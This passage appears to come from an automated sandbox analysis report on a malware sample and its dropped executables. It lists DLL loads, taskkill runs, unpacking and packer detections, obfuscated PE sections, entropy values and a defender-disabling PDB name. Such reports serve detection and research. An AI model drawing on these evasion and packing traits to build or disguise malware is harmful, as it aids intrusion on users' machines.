Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: file.exe Static file information: File size 3039744 > 1048576
Source: file.exe Static PE information: Raw size of krmeesmj is bigger than: 0x100000 < 0x2ba600
Source: Binary string: my_library.pdbU source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: my_library.pdb source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdbo source: InstallUtil.exe, 0000000B.00000002.2935186907.0000000000848000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000003.2063719617.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: protobuf-net.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: n8C:\Windows\InstallUtil.pdbc source: InstallUtil.exe, 0000000B.00000002.2931654283.00000000004F7000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Unpacked PE file: 4.2.NSXWT8JG74T0IR99MSITIVFVWS7V.exe.cd0000.0.unpack :EW;.rsrc:W;.idata :W;kddeprza:EW;anjsayip:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Unpacked PE file: 5.2.VG65QSLZVUGSLKDE78EZSIIG.exe.e60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 7.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 8.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Unpacked PE file: 17.2.e90585a72a.exe.650000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Unpacked PE file: 34.2.UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;kddeprza:EW;anjsayip:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Unpacked PE file: 36.2.IPBFM5C40FWD77UPB7GOCE.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
.NET source code contains method to dynamically call methods (often used by packers)
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs .Net Code: Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777252)),Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777284))})
.NET source code contains potential unpacker
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, XmlSerializationHelper.cs .Net Code: ReadObjectProperties
Yara detected Costura Assembly Loader
Source: Yara match File source: 9.2.innoinstaller.exe.5530000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.2492272266.0000000005530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: innoinstaller.exe PID: 5740, type: MEMORYSTR
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: num.exe.8.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.8.dr Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: innoinstaller[1].exe.8.dr Static PE information: real checksum: 0x0 should be: 0x1484ab
Source: e90585a72a.exe.8.dr Static PE information: real checksum: 0x21b827 should be: 0x20be1a
Source: skotes.exe.5.dr Static PE information: real checksum: 0x1e3fa6 should be: 0x1d99a4
Source: innoinstaller.exe.8.dr Static PE information: real checksum: 0x0 should be: 0x1484ab
Source: random[1].exe0.8.dr Static PE information: real checksum: 0x21b827 should be: 0x20be1a
Source: file.exe Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: 70bf1463df.exe.8.dr Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: real checksum: 0x2b66f6 should be: 0x2b7391
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: real checksum: 0x1e3fa6 should be: 0x1d99a4
Source: num[1].exe.8.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: krmeesmj
Source: file.exe Static PE information: section name: ccqtiijz
Source: file.exe Static PE information: section name: .taggant
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name:
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: .idata
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: kddeprza
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: anjsayip
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: .taggant
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: gwpiiybp
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: tdmstcss
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: gwpiiybp
Source: skotes.exe.5.dr Static PE information: section name: tdmstcss
Source: skotes.exe.5.dr Static PE information: section name: .taggant
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: random[1].exe.8.dr Static PE information: section name: krmeesmj
Source: random[1].exe.8.dr Static PE information: section name: ccqtiijz
Source: random[1].exe.8.dr Static PE information: section name: .taggant
Source: 70bf1463df.exe.8.dr Static PE information: section name:
Source: 70bf1463df.exe.8.dr Static PE information: section name: .idata
Source: 70bf1463df.exe.8.dr Static PE information: section name: krmeesmj
Source: 70bf1463df.exe.8.dr Static PE information: section name: ccqtiijz
Source: 70bf1463df.exe.8.dr Static PE information: section name: .taggant
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: wcmalsok
Source: random[1].exe0.8.dr Static PE information: section name: lajdpeqi
Source: random[1].exe0.8.dr Static PE information: section name: .taggant
Source: e90585a72a.exe.8.dr Static PE information: section name:
Source: e90585a72a.exe.8.dr Static PE information: section name: .rsrc
Source: e90585a72a.exe.8.dr Static PE information: section name: .idata
Source: e90585a72a.exe.8.dr Static PE information: section name:
Source: e90585a72a.exe.8.dr Static PE information: section name: wcmalsok
Source: e90585a72a.exe.8.dr Static PE information: section name: lajdpeqi
Source: e90585a72a.exe.8.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A67F0C push edx; iretd 0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A65ED1 push esi; retf 0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00A64EDA push esp; iretd 0_3_00A64EEA
Source: file.exe Static PE information: section name: entropy: 7.981868254343975
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: entropy: 7.773358165076546
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: entropy: 7.98320445936827
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: gwpiiybp entropy: 7.953540341680238
Source: skotes.exe.5.dr Static PE information: section name: entropy: 7.98320445936827
Source: skotes.exe.5.dr Static PE information: section name: gwpiiybp entropy: 7.953540341680238
Source: innoinstaller[1].exe.8.dr Static PE information: section name: .text entropy: 7.708988508924863
Source: innoinstaller.exe.8.dr Static PE information: section name: .text entropy: 7.708988508924863
Source: random[1].exe.8.dr Static PE information: section name: entropy: 7.981868254343975
Source: 70bf1463df.exe.8.dr Static PE information: section name: entropy: 7.981868254343975
Source: random[1].exe0.8.dr Static PE information: section name: wcmalsok entropy: 7.954090328686937
Source: e90585a72a.exe.8.dr Static PE information: section name: wcmalsok entropy: 7.954090328686937
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, AssemblyLoader.cs High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'aAgiWrkKuSAyGyCF89d'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, cfW0J2GQEJ83yHlLbZf.cs High entropy of concatenated method names: 'k5tP7nukMm', 'ErbPTky723', 'w0ecS5jIiZp9RGZPF1w', 'hy7XZvjr8nYsQLYZOOm', 'eAU15sj62qdP9odiLvp', 'CH0wlnjdJsqZWLLR2xT'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, GDNIACGsPZCXo8eS7HU.cs High entropy of concatenated method names: 'WO6GSn2u1s', 'tRyGZ1JHIR', 'W4JGFUHux1', 'kP6GVkhGdn', 'HbxG8gxYNd', 'wVtG1itEJU', 'UpTGvPeoPX', 'KPjGxltDdg', 'xucG2mWGoA', 'jjkGwD3Ube'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, wNjgIHGzlm3qoHc9aTC.cs High entropy of concatenated method names: 'Md1CbAqgtn', 'JLTCNNFUne', 'rlfC5jU2Wd', 'k4MCAChPKu', 'naVC3X2wju', 'tleCearIp6', 'pJjCUmNHbK', 'fNjoqx8M0y', 'zpaCfnNwaS', 'sdgCQsqRQi'
